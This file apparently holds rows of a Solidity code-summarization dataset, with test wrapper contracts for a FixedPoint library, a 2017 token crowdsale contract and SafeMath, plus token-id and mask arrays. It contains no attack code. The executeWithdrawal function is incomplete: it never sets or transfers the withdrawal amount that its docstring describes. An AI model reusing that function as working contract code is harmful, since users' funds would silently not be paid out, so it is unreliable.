function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) {
return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold));
}
function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) {
return data.wasVoteCorrect(revealHash);
}
function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) {
return data.getTotalCorrectlyVotedTokens().rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Voting.sol";
import "../../../common/implementation/FixedPoint.sol";
// Test contract used to access internal variables in the Voting contract.
contract VotingTest is Voting {
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
)
public
Voting(
_phaseLength,
_gatPercentage,
_inflationRate,
_rewardsExpirationTimeout,
_votingToken,
_finder,
_timerAddress
)
{}
function getPendingPriceRequestsArray() external view returns (bytes32[] memory) {
return pendingPriceRequests;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract UnsignedFixedPointTest {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeMath for uint256;
function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) {
return FixedPoint.fromUnscaledUint(a).rawValue;
}
function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(b);
}
function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b));
}
function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMin(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMax(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue;
}
function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(b).rawValue;
}
function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.sub(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(b).rawValue;
}
function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(b).rawValue;
}
function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue;
}
function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(b).rawValue;
}
function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.div(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract SignedFixedPointTest {
using FixedPoint for FixedPoint.Signed;
using FixedPoint for int256;
using SafeMath for int256;
function wrapFromSigned(int256 a) external pure returns (uint256) {
return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue;
}
function wrapFromUnsigned(uint256 a) external pure returns (int256) {
return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue;
}
function wrapFromUnscaledInt(int256 a) external pure returns (int256) {
return FixedPoint.fromUnscaledInt(a).rawValue;
}
function wrapIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b));
}
function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isEqual(b);
}
function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b));
}
function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Signed(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Signed(b));
}
function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b));
}
function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) {
return FixedPoint.Signed(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Signed(b));
}
function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Signed(b));
}
function wrapMin(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue;
}
function wrapMax(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue;
}
function wrapAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).add(b).rawValue;
}
function wrapSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).sub(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) {
return a.sub(FixedPoint.Signed(b)).rawValue;
}
function wrapMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue;
}
function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mul(b).rawValue;
}
function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue;
}
function wrapDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue;
}
function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).div(b).rawValue;
}
function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) {
return FixedPoint.Signed(a).divAwayFromZero(b).rawValue;
}
// The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) {
return a.div(FixedPoint.Signed(b)).rawValue;
}
// The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(int256 a, uint256 b) external pure returns (int256) {
return FixedPoint.Signed(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Simple Perpetual Mock to serve trivial functions
*/
contract PerpetualMock {
struct FundingRate {
FixedPoint.Signed rate;
bytes32 identifier;
FixedPoint.Unsigned cumulativeMultiplier;
uint256 updateTime;
uint256 applicationTime;
uint256 proposalTime;
}
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
FundingRate public fundingRate;
// Interface functions required to be implemented in order for an instance of this contract to be passed into the
// off-chain FinancialContractClient helper module:
FixedPoint.Unsigned public collateralRequirement;
uint256 public liquidationLiveness;
FixedPoint.Unsigned public cumulativeFeeMultiplier;
mapping(address => uint256) public positions;
mapping(address => uint256) public liquidations;
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition();
event LiquidationCreated();
function getCurrentTime() public view returns (uint256) {
return now;
}
// Public methods that are useful for tests:
function setFundingRate(FundingRate memory _fundingRate) external {
fundingRate = _fundingRate;
}
function applyFundingRate() external {
fundingRate.applicationTime = block.timestamp;
// Simplified rate calcualtion.
// multiplier = multiplier * (1 + rate)
fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul(
FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate))
);
}
}
| * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution), withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset. @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested amount exceeds the collateral in the position (due to paying fees). @return amountWithdrawn The actual amount of collateral withdrawn./ Get the resolved price or revert. Calculate denomated amount of collateral based on resolved exchange rate. Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH. Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH. If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data. Reset the position state as all the value has been removed after settlement. | function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
emit EndedDepositBox(msg.sender);
}
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
}
| 99,983 | [
1,
4436,
279,
2275,
598,
9446,
287,
590,
261,
77,
18,
73,
12990,
635,
279,
745,
358,
1375,
2293,
1190,
9446,
287,
68,
471,
10815,
463,
7397,
6205,
7861,
3631,
598,
9446,
87,
1375,
323,
1724,
3514,
751,
18,
1918,
9446,
287,
691,
6275,
68,
434,
4508,
2045,
287,
5462,
10716,
7458,
316,
326,
3862,
3310,
18,
225,
490,
750,
486,
598,
9446,
326,
1983,
3764,
3844,
316,
1353,
358,
2236,
364,
6039,
8324,
578,
309,
326,
1983,
3764,
3844,
14399,
326,
4508,
2045,
287,
316,
326,
1754,
261,
24334,
358,
8843,
310,
1656,
281,
2934,
327,
3844,
1190,
9446,
82,
1021,
3214,
3844,
434,
4508,
2045,
287,
598,
9446,
82,
18,
19,
968,
326,
4640,
6205,
578,
15226,
18,
9029,
10716,
690,
3844,
434,
4508,
2045,
287,
2511,
603,
4640,
7829,
4993,
18,
5090,
404,
30,
2177,
14805,
358,
598,
9446,
271,
6625,
434,
512,
2455,
16,
7829,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
1836,
1190,
9446,
287,
1435,
203,
3639,
3903,
203,
3639,
25359,
1435,
203,
3639,
1656,
281,
1435,
203,
3639,
1661,
426,
8230,
970,
1435,
203,
3639,
1135,
261,
7505,
2148,
18,
13290,
3778,
3844,
1190,
9446,
82,
13,
203,
565,
288,
203,
3639,
4019,
538,
305,
3514,
751,
2502,
443,
1724,
3514,
751,
273,
443,
1724,
29521,
63,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
203,
5411,
443,
1724,
3514,
751,
18,
2293,
6433,
4921,
480,
374,
597,
443,
1724,
3514,
751,
18,
2293,
6433,
4921,
1648,
5175,
950,
9334,
203,
5411,
315,
1941,
598,
9446,
590,
6,
203,
3639,
11272,
203,
203,
3639,
15038,
2148,
18,
13290,
3778,
7829,
4727,
273,
389,
588,
23601,
5147,
12,
323,
1724,
3514,
751,
18,
2293,
6433,
4921,
1769,
203,
203,
3639,
15038,
2148,
18,
13290,
3778,
10716,
7458,
6275,
774,
1190,
9446,
273,
203,
5411,
443,
1724,
3514,
751,
18,
1918,
9446,
287,
691,
6275,
18,
2892,
12,
16641,
4727,
1769,
203,
203,
3639,
309,
261,
13002,
362,
7458,
6275,
774,
1190,
9446,
18,
291,
28130,
24899,
588,
14667,
10952,
329,
13535,
2045,
287,
12,
323,
1724,
3514,
751,
18,
1899,
13535,
2045,
287,
20349,
288,
203,
5411,
10716,
7458,
6275,
774,
1190,
9446,
273,
389,
588,
14667,
10952,
329,
13535,
2045,
287,
12,
323,
1724,
3514,
751,
18,
1899,
13535,
2045,
287,
1769,
203,
203,
5411,
3626,
1374,
785,
758,
1724,
3514,
12,
3576,
18,
15330,
1769,
203,
3639,
289,
203,
203,
203,
3639,
3626,
1567,
1190,
9446,
287,
23839,
12,
203,
2
]
|
//Address: 0xea091331357959a265b0075a3c084d7d92e2e176
//Contract name: BTCxCrowdsale
//Balance: 0 Ether
//Verification Date: 12/11/2017
//Transacion Count: 102
// CODE STARTS HERE
pragma solidity ^0.4.18;
// This contract has the burn option
interface token {
function transfer(address receiver, uint amount);
function burn(uint256 _value) returns (bool);
function balanceOf(address _address) returns (uint256);
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract SafeMath {
//internals
function safeMul(uint a, uint b) internal returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract BTCxCrowdsale is owned, SafeMath {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised; //The amount being raised by the crowdsale
/* the end date of the crowdsale*/
uint public deadline; /* the end date of the crowdsale*/
uint public rate; //rate for the crowdsale
uint public tokenDecimals;
token public tokenReward; //
uint public tokensSold = 0;
/* the start date of the crowdsale*/
uint public start; /* the start date of the crowdsale*/
mapping(address => uint256) public balanceOf; //Ether deposited by the investor
// bool fundingGoalReached = false;
bool crowdsaleClosed = false; //It will be true when the crowsale gets closed
event GoalReached(address beneficiary, uint capital);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Setup the owner
*/
function BTCxCrowdsale( ) {
beneficiary = 0x781AC8C2D6dc017c4259A1f06123659A4f6dFeD8;
rate = 2;
tokenDecimals=8;
fundingGoal = 14700000 * (10 ** tokenDecimals);
start = 1512831600; // 12/11/2017 @ 2:00pm (UTC)
deadline =1515628740; // 01/10/2018 @ 11:59pm (UTC)
tokenReward = token(0x5A82De3515fC4A4Db9BA9E869F269A1e85300092); //Token address. Modify by the current token address
}
/**
* Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
/*
*/
function () payable {
uint amount = msg.value; //amount received by the contract
uint numTokens; //number of token which will be send to the investor
numTokens = getNumTokens(amount); //It will be true if the soft capital was reached
require(numTokens>0 && !crowdsaleClosed && now > start && now < deadline);
balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount);
amountRaised = safeAdd(amountRaised, amount); //Amount raised increments with the amount received by the investor
tokensSold += numTokens; //Tokens sold increased too
tokenReward.transfer(msg.sender, numTokens); //The contract sends the corresponding tokens to the investor
beneficiary.transfer(amount); //Forward ether to beneficiary
FundTransfer(msg.sender, amount, true);
}
/*
It calculates the amount of tokens to send to the investor
*/
function getNumTokens(uint _value) internal returns(uint numTokens) {
numTokens = safeMul(_value,rate)/(10 ** tokenDecimals); //Number of tokens to give is equal to the amount received by the rate
return numTokens;
}
modifier afterDeadline() { if (now >= deadline) _; }
/**
* Check if goal was reached
*
* Checks if the goal or time limit has been reached and ends the campaign and burn the tokens
*/
function checkGoalReached() afterDeadline {
require(msg.sender == owner); //Checks if the one who executes the function is the owner of the contract
if (tokensSold >=fundingGoal){
GoalReached(beneficiary, amountRaised);
}
tokenReward.burn(tokenReward.balanceOf(this)); //Burns all the remaining tokens in the contract
crowdsaleClosed = true; //The crowdsale gets closed if it has expired
}
}
| Token address. Modify by the current token address
| tokenReward = token(0x5A82De3515fC4A4Db9BA9E869F269A1e85300092); | 14,035,181 | [
1,
1345,
1758,
18,
9518,
635,
326,
783,
1147,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1147,
17631,
1060,
273,
1147,
12,
20,
92,
25,
37,
11149,
758,
4763,
3600,
74,
39,
24,
37,
24,
4331,
29,
12536,
29,
41,
5292,
29,
42,
5558,
29,
37,
21,
73,
7140,
23,
3784,
9975,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
